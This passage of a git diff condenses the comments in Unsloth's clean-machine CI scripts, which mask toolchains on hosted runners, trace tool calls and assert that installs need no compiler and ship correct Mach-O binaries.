-# absent The toolchain really was absent for the whole run. Catches a leg that
-# "passed" because masking silently failed, or because the installer
-# quietly installed Xcode CLT behind our back.
-# notools The trace recorded no compiler/git/brew invocation (trace mode),
-# except uv's exact optional libpython self-ID operation, and git
-# fetching only the git+ remotes of $UNSLOTH_ALLOW_GIT_FROM.
-# nodylibtool No install_name_tool invocation escaped the CLT-absent guard.
-# dylibpatch A CLT-present control observed only exact libpython self-ID patches.
-# nobuild Wheels-only: no "Building wheel" from pip, no "Building <pkg>==<ver>"
-# from uv. Needs UNSLOTH_VERBOSE=1, or run_install_cmd
-# (install.sh:193-243) discards uv's output on success.
-# macho Every Mach-O under $MACHO_ROOT is the host architecture, and every
-# Mach-O MAIN EXECUTABLE is signed. Closes the Rosetta 2 gap, the one
-# divergence masking cannot reproduce.
+# absent the toolchain really was absent for the whole run
+# notools the trace shows no compiler/git/brew use beyond the allowed uv operations
+# nodylibtool no install_name_tool call escaped the CLT-absent guard
+# dylibpatch a CLT-present control saw only exact libpython self-ID patches
+# nobuild no source builds; needs UNSLOTH_VERBOSE=1 or uv output is discarded
+# macho every Mach-O is the host arch and every main executable is signed
# Usage: bash .github/scripts/clean-machine-assert.sh absent nodylibtool notools dylibpatch nobuild macho
set -uo pipefail
@@ -26,7 +18,7 @@ rc=0
fail() { echo "::error::$*"; rc=1; }
ok() { echo "[assert] OK $*"; }
-_decode_trace_arg() { # encoded, destination variable
+_decode_trace_arg() {
_encoded=$1
case "$_encoded" in h*) _hex=${_encoded#h} ;; *) return 1 ;; esac
case "$_hex" in *[!0123456789abcdef]* ) return 1 ;; esac
@@ -42,12 +34,11 @@ _decode_trace_arg() { # encoded, destination variable
printf -v "$2" '%s' "$_decoded"
}
-# The git+ remotes named by the requirement files in $UNSLOTH_ALLOW_GIT_FROM, one per line,
-# without a trailing .git. The files are the source of truth, so a re-pinned remote follows.
+# Allowed git+ remotes from the requirement files in $UNSLOTH_ALLOW_GIT_FROM.
_allowed_git_remotes() {
for _req in ${UNSLOTH_ALLOW_GIT_FROM:-}; do
[ -f "$_req" ] || { echo "::error::UNSLOTH_ALLOW_GIT_FROM names a missing file: $_req" >&2; continue; }
- # The revision is what follows the LAST @, so ssh://git@host/repo.git@SHA keeps its user.
+ # The revision follows the LAST @, so ssh://git@host/repo.git@SHA keeps its user.
sed -n \
-e 's/^[^#]*git+\([a-z][a-z0-9+.-]*:\/\/[^#[:space:]]*\)@[^@\/#[:space:]]*\([#[:space:]].*\)\{0,1\}$/\1/p' \
-e 't' \
@@ -55,7 +46,6 @@ _allowed_git_remotes() {
done | sed 's/\.git$//' | sort -u
}
-# The commits those requirement files pin (the 40-hex revision after the last @).
_allowed_git_pins() {
for _req in ${UNSLOTH_ALLOW_GIT_FROM:-}; do
[ -f "$_req" ] || continue
@@ -63,7 +53,6 @@ _allowed_git_pins() {
done | sort -u
}
-# Every remote a traced git command line names: URLs, including `-c remote.origin.url=URL`.
_git_line_remotes() {
printf '%s\n' "$1" | grep -oE '[a-z][a-z0-9+.-]*://[^[:space:]]+|[[:alnum:]_.-]+@[[:alnum:].-]+:[^[:space:]]+' \
| sed 's/\.git$//'
@@ -79,8 +68,7 @@ _ran_in_uv_checkout() { # the traced argument string
|| _ran_under "$1" "${UV_CACHE_DIR%/}/git-v0/checkouts/"
}
-# Every run of these arguments (at least one) had its working directory under $2.
-_ran_under() { # the traced argument string, a directory prefix ending in /
+_ran_under() {
[ -n "${UV_CACHE_DIR:-}" ] && [ -f "$TRACE.git-cwd" ] || return 1
_seen=false
while IFS=$'\t' read -r _cwd _args; do
@@ -92,8 +80,7 @@ _ran_under() { # the traced argument string, a directory prefix ending in /
[ "$_seen" = true ]
}
-# Every run of these arguments was in a uv checkout named after a prefix of $2.
-_in_checkout_of() { # the traced argument string, a full commit
+_in_checkout_of() {
_ran_in_uv_checkout "$1" || return 1
while IFS=$'\t' read -r _cwd _args; do
[ "$_args" = "$1" ] || continue
@@ -116,14 +103,9 @@ _is_uv_git_cache_op() { # the traced argument string
_is_uv_git_cache_op_in() { # the traced argument string; $_cache is the git bucket to check
case "$1" in
- # uv initialises its database and resolves the pin in its own cache; the same commands
- # anywhere else (the project directory, say) are not uv's.
init|rev-parse|"rev-parse "*) _ran_under "$1" "$_cache/" ; return ;;
"submodule update --recursive --init") _ran_in_uv_checkout "$1"; return ;;
"reset --hard "*)
- # The commit the requirement files pin (the workflow passes the INSTALLED package's,
- # which on an overlay-free leg can trail this checkout's), run in the uv checkout
- # named after it.
_commit=${1#reset --hard }
case "$_commit" in *[!0-9a-f]*|"") return 1 ;; esac
[ ${#_commit} -eq 40 ] || return 1
@@ -142,19 +124,13 @@ _is_uv_git_cache_op_in() { # the traced argument string; $_cache is the git buck
return 1
}
-# Whether $1 is one of the allowed remotes in $2, ignoring a trailing .git.
_is_allowed_git_remote() {
[ -n "$1" ] && printf '%s\n' "$2" | grep -qxF -- "${1%.git}"
}
-# A git line that names a remote must be one of the two argv shapes uv's git source emits,
-# parsed as git would read them rather than by URL-looking substrings (an option VALUE such
-# as --server-option=URL is not the repository):
-# fetch [--tags|--force|--update-head-ok|--no-tags|--quiet|--depth=N]... URL REFSPEC...
-# -c remote.origin.url=URL submodule update [--init|--recursive]...
-# The repository must be an allowed remote and every refspec a `src:refs/...` mapping, so no
-# other option (--all, --upload-pack, a second -c) and no other subcommand (push) passes.
-_is_allowed_remote_git_line() { # the traced argument string, the allowed remotes
+# A git line naming a remote must match uv's exact fetch or submodule argv shapes against
+# an allowed remote, parsed as git would read it.
+_is_allowed_remote_git_line() {
_line=$1
_allowed=$2
set -f
@@ -210,14 +186,11 @@ _is_uv_libpython_self_id_patch() { # argc, operation, source, destination, extra
if [ -n "${UV_PYTHON_INSTALL_DIR:-}" ]; then
_patch_root=${UV_PYTHON_INSTALL_DIR%/}
else
- # Default uv data locations end in uv/python; this fallback keeps the assertion
- # useful outside CI, where UV_PYTHON_INSTALL_DIR is normally unset.
case "$3" in */uv/python/*) ;; *) return 1 ;; esac
_patch_root=${3%%/uv/python/*}/uv/python
fi
- # Resolve both directories physically before comparing them. A lexical shell glob
- # would accept "$root/x/../../outside/..." (and symlink escapes) because * spans '/'.
+ # Resolve physically: a lexical glob would accept ../ and symlink escapes.
_patch_root=$(CDPATH= cd "$_patch_root" 2>/dev/null && pwd -P) || return 1
_patch_dir=$(CDPATH= cd "$_patch_dir" 2>/dev/null && pwd -P) || return 1
case "$_patch_dir" in "$_patch_root"/*/lib) ;; *) return 1 ;; esac
@@ -232,21 +205,17 @@ for check in "$@"; do
case "$check" in
absent)
- # NOT `command -v`: on a virgin Mac /usr/bin/{git,cc} EXIST as CLT stubs, so it
- # succeeds and only RUNNING them fails. The invariant is: must not WORK.
+ # NOT `command -v`: on a virgin Mac /usr/bin/{git,cc} exist as CLT stubs that fail when run.
if xcode-select -p >/dev/null 2>&1; then
fail "xcode-select -p still resolves to $(xcode-select -p 2>/dev/null); not a clean Mac"
else
ok "xcode-select -p fails (the gate a virgin Mac hits)"
fi
- # The whole set clean-machine-env.sh moves aside, not the four it used to check: that
- # helper warns and carries on when a move fails, so a surviving gcc -- which
- # install.sh probes to decide build-essential is available -- passed unnoticed.
+ # Check the full set clean-machine-env.sh moves aside; it only warns on a failed move.
for tool in git cc clang cmake gcc g++ make ninja cargo rustc; do
command -v "$tool" >/dev/null 2>&1 || { ok "$tool not on PATH"; continue; }
if "$tool" --version >/dev/null 2>&1; then
- # Intel runners' /usr/bin/git is not CLT-provided, so masking cannot take it
- # away; cc/clang do become stubs and macOS needs no git, so report, not fail.
+ # Intel's /usr/bin/git is not CLT-provided, so report it rather than fail.
case " ${UNSLOTH_CLEAN_ALLOW_WORKING:-} " in
*" $tool "*)
echo "[assert] NOTE $tool still works ($(command -v "$tool")); allowed on this runner"
@@ -258,7 +227,6 @@ for check in "$@"; do
ok "$tool present but non-functional (CLT stub), as on a clean Mac"
fi
done
- # brew is a plain binary with no stub, so absence from PATH is the right test.
if command -v brew >/dev/null 2>&1; then
fail "Homebrew still on PATH at $(command -v brew); masking failed"
else
@@ -316,18 +284,8 @@ for check in "$@"; do
if [ -z "$TRACE" ] || [ ! -f "$TRACE" ]; then
fail "notools requested but no trace file (\$UNSLOTH_TOOL_TRACE=$TRACE)"
else
- # git is legitimate under --local (unsloth-zoo comes from a git URL), so that
- # leg allow-lists it via UNSLOTH_ALLOW_TOOLS.
allow="${UNSLOTH_ALLOW_TOOLS:-}"
- # A default install with a working git fetches its pinned git+ requirements with it
- # (the Diffusers main build: a clone records a ref, the archive fallback does not).
- # That is git, but only for those remotes, so it is allowed structurally: a git line
- # that names a remote must be uv's fetch or submodule shape against one of the
- # requirement files' remotes (_is_allowed_remote_git_line), and one naming none must
- # be one of uv's own cache operations (_is_uv_git_cache_op), counted only when some
- # line did fetch an allowed remote. `--version` is the installer's probe.
- # Any other remote, any other remoteless git, or git that fetched nothing allowed is
- # still a hit.
+ # Git is allowed only for uv fetching the requirement files' pinned git+ remotes.
allowed_remotes=$(_allowed_git_remotes)
git_fetched_allowed=false
if [ -n "$allowed_remotes" ]; then
@@ -342,8 +300,7 @@ for check in "$@"; do
hits=""
while IFS=$'\t' read -r tool argc_or_rest arg1 arg2 arg3 extra; do
[ -n "$tool" ] || continue
- # This optional uv operation is the only permitted developer-tool use. Keep it
- # structural rather than name-only: arbitrary install_name_tool calls still fail.
+ # The only permitted developer-tool use; keep it structural.
if [ "$tool" = "install_name_tool" ]; then
operation=""; source=""; destination=""
if _decode_trace_arg "$arg1" operation \
@@ -370,8 +327,7 @@ for check in "$@"; do
continue
fi
fi
- # `xcode-select -p` only ASKS whether a toolchain is selected and the fix is
- # carrying on without one, so it is not USE. `--install` stays a hit.
+ # `xcode-select -p` only asks; `--install` is still a hit.
if [ "$tool" = "xcode-select" ]; then
case "$argc_or_rest" in
-p|--print-path|-v|--version|"") continue ;;
@@ -389,29 +345,13 @@ for check in "$@"; do
;;
nobuild)
- # "Built an sdist" is NOT "needed a compiler". Every name was verified against its
- # own sdist: setuptools.build_meta, no ext_modules, no .c/.cpp/.pyx/.rs, so the
- # PEP 517 build is a pure-Python copy step.
- # openai-whisper, argbind, randomname -- no version ever ships a wheel
- # antlr4-python3-runtime==4.9.3 -- pinned below the 4.13.2 wheel
- # triton-kernels -- a git URL under the triton repo's python/triton_kernels
- # subdir: 75 Python files, no setup.py, kernels compiled at runtime. Named by
- # the installer, not chosen by resolution, and only the Linux legs reach it.
- # diffusers -- overlay:false releases still pin a pure-Python source archive.
- # Remove this once a published Unsloth release carries the wheel pin.
- # UNSLOTH_ALLOW_SDIST extends it. Lowercased and underscore-folded on both sides:
- # the distribution name and the name uv prints can differ on the separator.
+ # Pure-Python sdists (no compiled extensions); keep in sync with assert-nobuild.ps1.
+ # Drop diffusers once a release has the wheel pin. UNSLOTH_ALLOW_SDIST extends the list.
_allow="$(printf '%s' "openai-whisper argbind randomname antlr4-python3-runtime triton-kernels diffusers ${UNSLOTH_ALLOW_SDIST:-}" | tr 'A-Z_' 'a-z-')"
if [ ! -f "$LOG" ]; then
fail "nobuild requested but $LOG is missing"
else
- # uv prints `Building <name>==<ver>`, pip `Building wheel for <name>`
- # (astral-sh/uv#11165), so match both; the `==` / ` @ ` keeps this off the
- # installer's own "building frontend..." text, and ANSI is stripped so a
- # coloured run parses. `Building <name> @ file://` is dropped -- a local-path
- # build is one the caller pointed at (--local, the overlay), never one
- # resolution chose, while index deps always print `<name>==<ver>`, so a genuine
- # PyPI sdist is still caught, including one named unsloth.
+ # Match both pip and uv build lines; `==`/` @ ` skips frontend text. Local file:// builds are ignored.
_esc=$(printf '\033')
_built="$(sed -E "s/${_esc}\[[0-9;]*[A-Za-z]//g" "$LOG" 2>/dev/null \
| grep -viE "building [a-z0-9._-]+ @ file://" \
@@ -431,7 +371,6 @@ for check in "$@"; do
[ -n "$_built" ] && say_built="$(echo "$_built" | tr '\n' ' ')" || say_built="none"
ok "no non-allowlisted source build (built: $say_built)"
fi
- # Independent of package names: a compiler error means a toolchain was needed.
if grep -qiE "error: command '(cc|gcc|clang|cl)' failed|no such file or directory: 'cc'|clang: error|cargo: not found|error: linker \`cc\` not found" "$LOG"; then
fail "compiler invocation appears in the install log"
grep -iE "error: command '(cc|gcc|clang|cl)' failed|clang: error" "$LOG" | head -10
@@ -440,13 +379,8 @@ for check in "$@"; do
;;
macho)
- # The one thing masking cannot reproduce: Rosetta 2 ships on hosted runners and
- # not on a factory-fresh Mac, so an x86_64-only payload runs green here and dies
- # with "bad CPU type in executable" for the user. `lipo` is an xcrun shim and gone
- # after masking, so read `file -Lb`, keyed off `uname -m` (macos-15-intel is x86_64).
- # SCOPE: all of $MACHO_ROOT, .venv_t5_510/_530/_550 sidecars included -- payload,
- # not scratch (setup.sh:579-581 creates them, transformers_version.py:338-348 puts
- # them on sys.path). Any exclusion must be a named path rule, never a narrowed find.
+ # Rosetta 2 hides x86_64-only payloads on runners. Scan all of $MACHO_ROOT; any exclusion
+ # must be a named path rule, never a narrowed find.
root="${MACHO_ROOT:-${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth}}"
want="$(uname -m)"
[ "$want" = "aarch64" ] && want=arm64
@@ -473,9 +407,7 @@ for check in "$@"; do
}
n=0 nexe=0 nuv=0 nbase=0 bad_arch="" unsigned="" broken=""
while IFS= read -r f; do
- # -L: find printed the SYMLINK path for <venv>/bin/python, and plain `file` does
- # not dereference, so it answered "symbolic link to ..." and the Mach-O test
- # below dropped the very interpreter this scan exists to check.
+ # -L: plain `file` reports the symlink, not the Mach-O.
desc="$(file -Lb "$f" 2>/dev/null || true)"
case "$desc" in *Mach-O*) ;; *) continue ;; esac
n=$((n + 1))
@@ -486,37 +418,24 @@ $base_py
" in *"
$f
"*) nbase=$((nbase + 1)) ;; esac
- # Substring, not equality: a universal binary lists every slice it carries,
- # and one that includes the host arch is fine.
+ # Substring: a universal binary lists every slice.
case "$desc" in
*"$want"*) ;;
*) bad_arch="$bad_arch $f [$desc]" ;;
esac
- # Signature: MAIN EXECUTABLES ONLY. Asserting it on every Mach-O failed the
- # mask/pipe leg on 29 ordinary PyPI extension modules plus libportaudio.dylib:
- # MH_BUNDLE/MH_DYLIB images dlopen'd without library validation ship unsigned,
- # and that run had already imported them with the installer exiting 0. macOS
- # enforces on main executables and gatekept .app bundles. Key off the filetype
- # `file` reports, not the path (a .so may be either); the library veto is second
- # so a mixed-type fat file counts as a library, and substring tests are
- # order-independent (Apple prints `executable arm64`, GNU `arm64 executable`).
+ # Signature check applies to main executables only; dylibs and bundles legitimately ship unsigned.
_is_exe=0
case "$desc" in *executable*) _is_exe=1 ;; esac
case "$desc" in *"shared library"*|*bundle*) _is_exe=0 ;; esac
- # Named rule so a failure says which path matched; the filetype test covers it.
case "$f" in *.app/Contents/MacOS/*) _is_exe=1 ;; esac
[ "$_is_exe" = 1 ] && nexe=$((nexe + 1))
- # arm64 only: the kernel refuses to exec an unsigned arm64 main binary
- # ("Killed: 9"); x86_64 execs it happily, so it is not the same defect.
+ # arm64 only: the kernel refuses unsigned arm64 main binaries, x86_64 does not.
if [ "$want" = "arm64" ] && [ "$_is_exe" = 1 ]; then
- # Ad-hoc counts as signed (arm64 linkers seal ad-hoc by default): the test is
- # "has a verifying seal", not "has an identity", which spctl/--strict demand.
+ # Ad-hoc counts as signed.
if ! codesign -v "$f" >/dev/null 2>&1; then
- # Nothing to verify and a seal that does not match differ. Captured, not
- # piped: `codesign -dvv` exits non-zero on an unsigned file, and under
- # pipefail that would be the pipeline's status even on a match.
+ # Captured, not piped: codesign -dvv exits non-zero on unsigned files, breaking pipefail.
_sig="$(codesign -dvv "$f" 2>&1 || true)"
case "$_sig" in
*"not signed at all"*) unsigned="$unsigned $f" ;;
@@ -526,7 +445,6 @@ $f
fi
done < <(_macho_targets | sort -u)
if [ "$n" = "0" ]; then
- # An empty scan reads exactly like a clean one, so a wrong root would pass.
fail "no Mach-O found under $root; the arch/signature assertion proved nothing"
elif [ "$nbase" = "0" ]; then
fail "no */bin/python under $root was classified as Mach-O, so the venv's base interpreter went unchecked (found: ${base_py:-none})"
diff --git a/.github/scripts/clean-machine-env.sh b/.github/scripts/clean-machine-env.sh
index a33d4c64ec9..19e9872a6bc 100755
--- a/.github/scripts/clean-machine-env.sh
+++ b/.github/scripts/clean-machine-env.sh
@@ -1,25 +1,12 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Simulate a virgin developer machine on a GitHub-hosted runner. Two modes, because
-# "the tool is absent" and "the installer never called the tool" need different
-# mechanisms:
-# mask Make the toolchain genuinely ABSENT: scrub PATH to OS defaults and (with
-# --remove) move the real toolchain aside so `command -v git` correctly
-# FAILS. Deliberately no general "poison shims": a failing shim is still FOUND
-# by `command -v`, which reports the tool as present, the opposite of clean.
-# macOS has one observation-only exception: install_name_tool gets a logging
-# sentinel because the installer must shadow Apple's dialog-producing shim and
-# never uses this command to decide whether a dependency is installed.
-# trace Leave the toolchain working behind wrappers that log the call then exec
-# the real binary, answering whether the installer ever REACHES for a
-# compiler/git without changing behaviour.
-# Writes shell exports to $CLEAN_ENV_FILE (default ./clean-machine.env) to `source`;
-# nothing is exported globally, so other steps keep a normal environment.
-# Usage:
-# bash .github/scripts/clean-machine-env.sh mask [--remove]
-# bash .github/scripts/clean-machine-env.sh trace
-# source ./clean-machine.env
+# Simulate a virgin developer machine on a hosted runner.
+# mask Make the toolchain truly absent (scrubbed PATH, --remove moves it aside); no failing
+# shims, since `command -v` would still find them.
+# trace Wrap tools to log each call then exec the real binary.
+# Writes exports to $CLEAN_ENV_FILE (default ./clean-machine.env) for `source`.
+# Usage: bash .github/scripts/clean-machine-env.sh mask [--remove] | trace
set -uo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
@@ -42,25 +29,19 @@ BIN="$WORK/bin"
RESTORE="$WORK/restore.sh"
mkdir -p "$BIN"
: > "$TRACE"
-# The git wrapper appends where each git ran; a rerun must not inherit an older install's rows.
: > "$TRACE.git-cwd"
: > "$ENV_FILE"
printf '#!/usr/bin/env bash\n# Undo clean-machine-env.sh --remove. Safe to run twice.\nset -uo pipefail\n' > "$RESTORE"
chmod +x "$RESTORE"
-# The toolchain we care about: a consumer install must need none of it.
-# cctools binaries are included because their /usr/bin shims can trigger the same
-# developer-tools dialog. uv's exact optional install_name_tool self-ID patch is
-# observed separately and narrowly allow-listed by clean-machine-assert.sh.
+# cctools are included because their /usr/bin shims can trigger the developer-tools dialog.
TOOLS="xcode-select xcrun clang clang++ cc c++ gcc g++ git cmake make brew ninja cargo rustc
install_name_tool lipo otool objdump vtool strip nm"
note() { echo "[clean-machine] $*"; }
-# Move a path aside and record the reverse in restore.sh. PATH scrubbing only HIDES
-# these -- uv, the py launcher and framework lookups find them anyway -- so absence has
-# to be real. The restore line is guarded: the install may have recreated the path, and
-# an unguarded `mv` would bury the original inside it.
+# PATH scrubbing only hides tools (uv and framework lookups still find them), so move them aside.
+# The restore line is guarded: the install may recreate the path, and a bare mv would bury the original in it.
mask_aside() {
local src="$1" dst="${2:-$1.masked}" as=""
[ -e "$src" ] || return 0
@@ -74,8 +55,7 @@ mask_aside() {
}
# ── PATH scrub ────────────────────────────────────────────────────────────────
-# Keep only OS-default system dirs: drops Homebrew, the hosted Python toolcache,
-# setup-* shims, pipx, cargo and every other preinstalled developer dir.
+# Keep only OS-default system dirs.
scrub_path() {
local keep out=""
if [ "$OS" = "Darwin" ]; then
@@ -94,18 +74,14 @@ scrub_path() {
if [ "$MODE" = "mask" ]; then
NEWPATH="$(scrub_path)"
if [ "$OS" = "Darwin" ]; then
- # Do not execute /usr/bin/install_name_tool as a self-test on a CLT-free Mac: that
- # is the GUI prompt this lane exists to prevent. This sentinel is ahead of /usr/bin,
- # logs argv with explicit argc and hex-encoded argument boundaries, and fails without
- # touching a dylib. install.sh's still-more-local uv guard must win over it.
+ # Never run /usr/bin/install_name_tool on a CLT-free Mac: it opens the GUI prompt.
+ # install.sh's more local uv guard must win over this sentinel.
bash "$INSTALL_NAME_TOOL_HELPER" write sentinel "$BIN/install_name_tool"
NEWPATH="$BIN:$NEWPATH"
fi
{
echo "export PATH='$NEWPATH'"
- # UNSET, not a fake path: `xcode-select -p` honours DEVELOPER_DIR and prints it
- # verbatim with exit 0, so a nonexistent dir makes the probe SUCCEED. On a clean
- # Mac it is unset and the missing xcode_select_link is what makes the probe fail.
+ # Unset, not faked: `xcode-select -p` prints DEVELOPER_DIR verbatim with exit 0 even if missing.
echo "unset DEVELOPER_DIR || true"
echo "unset SDKROOT CC CXX CFLAGS CXXFLAGS LDFLAGS CMAKE_GENERATOR CMAKE_PREFIX_PATH || true"
echo "export HOMEBREW_NO_AUTO_UPDATE=1"
@@ -115,12 +91,7 @@ if [ "$MODE" = "mask" ]; then
} >> "$ENV_FILE"
if [ "$REMOVE" = "1" ] && [ "$OS" = "Darwin" ]; then
- # Best effort, each step independent and recorded in restore.sh so an `if: always()`
- # step can put the runner back. `xcode-select -p` reads xcode_select_link, so
- # removing it reproduces a virgin Mac's gate; `--reset` can reselect Xcode.app.
- # Captured now, re-selected LAST: restore.sh runs in order, and a --switch emitted here
- # would name a directory the later lines have not moved back yet, fail, and be
- # swallowed, leaving the link unrestored while the step reported success.
+ # Original selection is re-selected LAST in restore.sh, after the directories it names are back.
_orig_dev=""
if [ -e /var/db/xcode_select_link ]; then
_orig_dev="$(xcode-select -p 2>/dev/null || true)"
@@ -131,8 +102,6 @@ if [ "$MODE" = "mask" ]; then
_orig_dev=""
fi
fi
- # Moving the CLT dir aside turns /usr/bin/{cc,clang,git} into dead shims, proving
- # the install needs no compiler at all.
if [ -d /Library/Developer/CommandLineTools ]; then
if sudo mv /Library/Developer/CommandLineTools /Library/Developer/CommandLineTools.masked 2>/dev/null; then
note "moved CommandLineTools aside"
@@ -141,9 +110,7 @@ if [ "$MODE" = "mask" ]; then
note "WARN could not move CommandLineTools"
fi
fi
- # Xcode.app too: with the link removed AND CommandLineTools moved, `xcode-select -p`
- # still succeeds via the image's Xcode bundle (observed:
- # /Applications/Xcode_16.4.app/Contents/Developer), which re-arms /usr/bin/{git,cc}.
+ # Xcode.app too, or `xcode-select -p` still succeeds via the image's Xcode bundle.
for app in /Applications/Xcode*.app; do
[ -d "$app" ] || continue
if sudo mv "$app" "${app}.masked" 2>/dev/null; then
@@ -153,15 +120,11 @@ if [ "$MODE" = "mask" ]; then
note "WARN could not move $app"
fi
done
- # After both directory restores above, so the path it names is back. Still `|| true`:
- # the runner is ephemeral and a failed re-selection must not fail an otherwise green
- # job, but it can no longer fail for the trivial reason of running too early.
if [ -n "$_orig_dev" ]; then
echo "sudo xcode-select --switch '$_orig_dev' 2>/dev/null || true" >> "$RESTORE"
fi
- # /usr/local EXISTS on a factory-fresh Mac (a SIP-exempt firmlink) but is empty, so
- # empty it rather than remove it. Before the Homebrew block, so /usr/local/Homebrew
- # is stashed once, with one restore line, in the right order.
+ # /usr/local exists but is empty on a fresh Mac, so empty it rather than remove it.
+ # Must run before the Homebrew block so /usr/local/Homebrew is stashed once.
if [ -d /usr/local ]; then
STASH="$WORK/usr-local"
mkdir -p "$STASH"
@@ -177,12 +140,9 @@ if [ "$MODE" = "mask" ]; then
fi
done
fi
- # The hosted toolcache and the python.org framework are what a PATH scrub cannot
- # reach: uv discovers interpreters by probing well-known locations.
+ # uv probes well-known interpreter locations that a PATH scrub cannot hide.
mask_aside "${AGENT_TOOLSDIRECTORY:-$HOME/hostedtoolcache}"
mask_aside /Library/Frameworks/Python.framework
- # A virgin $HOME has none of these, and a populated uv/pip cache can satisfy a
- # resolution that would fail on a user's machine.
for d in .cargo .rustup .nvm .rbenv .pyenv .local .cache \
Library/Caches/uv Library/Caches/pip Library/Caches/Homebrew; do
mask_aside "$HOME/$d"
@@ -200,13 +160,9 @@ if [ "$MODE" = "mask" ]; then
fi
if [ "$REMOVE" = "1" ] && [ "$OS" = "Linux" ]; then
- # A hosted Linux runner keeps git, gcc, cmake and make in /usr/bin, which the PATH
- # scrub must keep, so move the resolved binaries aside (recorded in restore.sh).
- # Versioned siblings like gcc-11 survive; a consumer install invokes the unsuffixed
- # names, which is what `absent` checks.
+ # Versioned siblings like gcc-11 survive; installs invoke the unsuffixed names.
for tool in $TOOLS; do
- # Repeated: the same name can sit in /usr/bin and /usr/local/bin, and moving only
- # the first leaves the second on PATH.
+ # Repeated: the same name can exist in several PATH dirs.
for _ in 1 2 3 4; do
real="$(command -v "$tool" 2>/dev/null || true)"
[ -n "$real" ] && [ -e "$real" ] || break
@@ -227,14 +183,11 @@ if [ "$MODE" = "trace" ]; then
for tool in $TOOLS; do
real="$(command -v "$tool" 2>/dev/null || true)"
[ -n "$real" ] || continue
- # Logs then execs the REAL binary, so behaviour is unchanged and the trace answers
- # "did the installer reach for this?" honestly. install_name_tool needs preserved
- # argument boundaries via hex so the assertion can require exact -id PATH PATH argv.
+ # install_name_tool argv is hex-encoded so the assertion can require exact argument boundaries.
if [ "$tool" = "install_name_tool" ]; then
bash "$INSTALL_NAME_TOOL_HELPER" write passthrough "$BIN/$tool" "$real"
else
- # git also records where it ran: `submodule update` fetches whatever the CURRENT
- # checkout's .gitmodules names, so notools has to see that it ran inside uv's checkout.
+ # git records its cwd: notools must see that `submodule update` ran inside uv's checkout.
cwd_line=""
[ "$tool" = "git" ] && cwd_line="printf '%s\t%s\n' \"\$PWD\" \"\$*\" >> '$TRACE.git-cwd'"
cat > "$BIN/$tool" <<WRAP
diff --git a/.github/scripts/clean-machine-install-name-tool.sh b/.github/scripts/clean-machine-install-name-tool.sh
index 06a4e24d06f..ece7662f4fe 100755
--- a/.github/scripts/clean-machine-install-name-tool.sh
+++ b/.github/scripts/clean-machine-install-name-tool.sh
@@ -1,7 +1,6 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Shared install_name_tool trace wrapper and CLT-absent sentinel contract.
set -euo pipefail
usage() {
diff --git a/.github/scripts/compare_installer_evidence.py b/.github/scripts/compare_installer_evidence.py
index b9b16550659..41f108acc6f 100644
--- a/.github/scripts/compare_installer_evidence.py
+++ b/.github/scripts/compare_installer_evidence.py
@@ -39,12 +39,7 @@ from pathlib import Path
# ---------------------------------------------------------------------------
-# Normalisation
# ---------------------------------------------------------------------------
-
-# Each entry is (pattern, replacement, why). The `why` is not decoration: the next person to widen
-# one of these needs to know what it was for, and a rule with no recorded cause is a rule nobody can
-# argue with.
_NORMALISERS: tuple[tuple[re.Pattern[str], str, str, bool], ...] = (
(re.compile(r"\b\d+\.\d+s\b"), "<duration>", "elapsed times, printed by every step", False),
(re.compile(r"\b\d{1,3}(?:\.\d+)?\s?%"), "<percent>", "download progress", False),
@@ -94,8 +89,6 @@ _NORMALISERS: tuple[tuple[re.Pattern[str], str, str, bool], ...] = (
(re.compile(r"[\r\x08]"), "", "carriage returns and backspaces from progress redraws", False),
)
-# Volatile only because the two jobs ran minutes apart. A version drift is not a behaviour change,
-# but it IS worth printing, so these are normalised and separately reported.
_VERSION_PATTERN = re.compile(
r"\b(uv|python|Python|CPython|git|cmake|torch|node|npm)[\s/-]+v?(\d+\.\d+(?:\.\d+)?)",
)
@@ -141,9 +134,7 @@ def normalise_line(line: str) -> str:
for pattern, replacement, _why, _in_scripts in _NORMALISERS:
out = pattern.sub(replacement, out)
out = _VERSION_PATTERN.sub(lambda m: f"{m.group(1)}/<version>", out)
- # Trailing whitespace only. Leading whitespace is load-bearing: `step` pads its label to exactly
- # 15 columns and REQUIRED_OUTPUT pins the indent, so stripping the left side would hide the one
- # regression class most likely to slip through a prose review.
+ # Only trailing whitespace: leading indent is part of the pinned REQUIRED_OUTPUT.
return out.rstrip()
@@ -175,10 +166,6 @@ def normalise_script(text: str) -> list[str]:
and both sides would still compare equal.
"""
return [
- # The scratch names, the embedded install ID, temp directories, timestamps and version
- # strings still have to go: they differ between the two sides for reasons that are not
- # behaviour. Nothing else is touched -- see `_apply_value_normalisers` -- and the line is
- # kept exactly as it is otherwise, trailing spaces and all.
_VERSION_PATTERN.sub(
lambda m: f"{m.group(1)}/<version>",
_apply_value_normalisers(raw),
@@ -252,21 +239,7 @@ def normalise_transcript(text: str) -> list[str]:
)
):
continue
- # Runner-injected noise, and ONLY what the runner injects. These carry the workflow's own
- # group names and the side's SHA, so they differ between sides for nothing to do with the
- # installer.
- #
- # `Run `, `shell: ` and `env:` were in this list and are now gone, because they were never in
- # the file. The workflow tees the child powershell.exe stream into transcript.txt
- # (windows-installer-differential-ci.yml:273-274), so GitHub's step headers never reach it,
- # while the installers print at least six lines that begin with `Run ` once indentation is
- # stripped: install.ps1:1518 and studio/setup.ps1:2245, :2526, :3073, :3526, :4506. Every one
- # of those is user-visible guidance on an exercised path, and this rule deleted them from
- # both sides, so changing or dropping one of them compared equal. Matching a prose prefix is
- # the wrong shape for this job; if the capture ever widens to include the step's own output,
- # the honest fix is to narrow the capture, not to delete lines that might be ours.
- #
- # Left anchored at column 0: nothing the installers print starts in column 0 with these.
+ # Strip only runner-injected lines. Do not add prose prefixes like `Run `: installers print those.
if line.startswith(("##[group]", "##[endgroup]", "::group::", "::endgroup::", "##[debug]")):
continue
lines.append(line)
@@ -276,7 +249,6 @@ def normalise_transcript(text: str) -> list[str]:
# ---------------------------------------------------------------------------
-# Comparison
# ---------------------------------------------------------------------------
@@ -297,8 +269,7 @@ class Verdict:
return not self.void and not self.differences
def exit_code(self) -> int:
- # VOID and DIFFERENT are both non-zero, and deliberately distinct: 2 means "measured, and it
